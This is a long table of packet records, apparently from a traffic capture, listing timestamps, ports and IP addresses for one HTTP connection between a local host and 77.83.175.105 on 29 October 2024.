Oct 29, 2024 04:17:17.936480045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936491966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936517954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.936549902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.936624050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936635971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936647892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936657906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.936686993 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.936717987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937185049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937197924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937208891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937262058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937356949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937369108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937402010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937408924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937412977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937429905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937459946 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937664032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937730074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937735081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937747955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937788963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937791109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937803030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937814951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937827110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.937854052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937854052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.937886000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.938004971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.938060999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.938323975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.938355923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.938369036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.938417912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:17.982008934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.982129097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.982141972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:17.982249975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.028616905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.028629065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.028639078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.028713942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.028713942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.055546045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055555105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055567980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055599928 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.055633068 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.055643082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055654049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055665016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055706978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.055902958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055912971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055923939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055942059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055953979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.055960894 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056013107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056014061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056318998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056329012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056339979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056369066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056391001 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056399107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056410074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056443930 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056474924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056678057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056699991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056710005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056751966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056751966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056761980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056772947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056772947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056790113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056818962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056818962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056823969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056833982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.056874990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.056896925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.057425022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.057436943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.057446003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.057495117 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.057514906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.057516098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.057535887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.057668924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.101330042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.101341009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.101351976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.101397038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.101438999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.147690058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.147701979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.147712946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.147757053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.147819996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.147912025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.147924900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.148092985 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.174981117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.174990892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175013065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175048113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175091028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175102949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175116062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175126076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175137997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175151110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175172091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175172091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175172091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175218105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175235033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175246954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175256014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175280094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175309896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175630093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175648928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175662041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175672054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175683975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.175690889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175721884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.175766945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.176016092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.176029921 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.176038980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.176058054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.176069975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.176083088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.176090956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.176095009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.176107883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.176132917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.176132917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.176158905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.177478075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.177489042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.177500010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.177536011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.177567005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.218502045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.218514919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.218525887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.218566895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.218614101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.220094919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.220113993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.220128059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.220140934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.220175982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.220176935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.266817093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.266860962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.266872883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.266876936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.266901016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.266911983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.266922951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.266964912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.302478075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302503109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302515030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302536011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.302561045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302570105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.302573919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302586079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302596092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302608967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.302608967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.302629948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.302670002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303086042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303098917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303108931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303119898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303132057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303132057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303142071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303153038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303154945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303165913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303169012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303173065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303179026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303185940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303189039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303201914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303225040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303242922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303782940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303828001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303836107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303842068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303875923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303875923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303898096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303909063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.303947926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.303993940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.337354898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.337416887 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.337511063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.337522984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.337564945 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.339253902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.339297056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.339308023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.339348078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.339380026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418114901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418133020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418143988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418155909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418168068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418179035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418190956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418191910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418196917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418203115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418215036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418226004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418229103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418267965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418268919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418268919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418277979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418313980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418359041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418370008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418380022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418401003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418409109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418415070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418426991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418426991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418438911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.418466091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.418488979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.419187069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419200897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419212103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419244051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419250011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.419255972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419265985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419276953 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.419277906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419290066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419298887 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.419301987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419322014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.419349909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.419349909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.419382095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.420018911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.420069933 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.456438065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.456525087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.457633972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.457695961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.458237886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.458285093 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.458300114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.458312988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.458333015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.458343983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.458344936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.458364010 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.458383083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.505484104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.505498886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.505518913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.505530119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.505541086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.505541086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.505579948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.505608082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.532927990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.532952070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.532963037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.532998085 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533023119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533032894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533044100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533055067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533077955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533088923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533098936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533099890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533099890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533112049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533127069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533166885 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533423901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533437014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533452988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533472061 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533518076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533626080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533638000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533652067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533674002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533675909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533684969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533701897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.533704996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533727884 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.533751011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.534060001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.534111977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.534120083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.534162045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.574623108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.580101967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812550068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812582016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812596083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812608957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812621117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812635899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812635899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.812647104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812653065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812724113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.812724113 CET	49755	80	192.168.2.4	77.83.175.105
